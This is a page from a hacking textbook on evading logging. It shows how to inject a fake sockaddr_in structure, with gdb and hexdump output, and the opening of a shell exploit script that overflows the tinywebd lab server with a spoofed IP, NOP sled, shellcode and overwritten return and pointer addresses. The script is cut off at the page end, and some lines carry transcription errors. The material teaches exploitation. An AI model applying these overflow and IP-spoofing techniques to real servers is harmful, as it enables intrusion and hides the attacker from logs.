Countermeasures 349

This program can be used to inject a sockaddr_in structure. The output

below shows the program being compiled and executed.

reader@hacking:~/booksrc $ gcc -o addr_struct addr_struct.c
reader@hacking:~/booksrc $ ./addr_struct 12.34.56.78 9090

"8N_reader@hacking:~/booksrc $
reader@hacking:~/booksrc $ ./addrstruct 12.34.56.78 9090 | hexdump -C
00000000 02 00 23 82 0c 22 38 4e 00 00 00 00 f4 5f fd b7 |.#."8N....|
00000010
reader@hacking:~/booksrc $

To integrate this into our exploit, the address structure is injected after

the fake request but before the NOP sled. Since the fake request is 15 bytes

long and we know the buffer starts at 0xbffff5c0, the fake address will be

injected at 0xbfffff5cf.

reader@hacking:~/booksrc $ grep 0x xtool_tinywebd_steath.sh
RETADDR="\x24\xf6\xff\xbf" # at +100 bytes from buffer @ 0xbffff5c0
reader@hacking:~/booksrc $ gdb -q -batch -ex "p /x 0xbffff5c0 + 15"
$1 = 0xbffff5cf
reader@hacking:~/booksrc $

Since the client_addr_ptr is passed as a second function argument, it will

be on the stack two dwords after the return address. The following exploit

script injects a fake address structure and overwrites client_addr_ptr.

xtool_tinywebd_spoof.sh

#!/bin/sh

IP spoofing stealth exploitation tool for tinywebd

SPOOFIP="12.34.56.78"

SPOOFPORT="9090"

if [ -z "$2" ]; then # If argument 2 is blank
echo "Usage: $0 "
exit
fi
FAKEREQUEST="GET / HTTP/1.1\x00"
FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ')
OFFSET=540
RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0
FAKEADDR="\xcf\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0
echo "target IP: $2"
SIZE=wc -c $1 | cut -f1 -d ' '
echo "shellcode: $1 ($SIZE bytes)"
echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)"
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))

echo "[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE] [ret
addr 128] [*fake_addr 8]"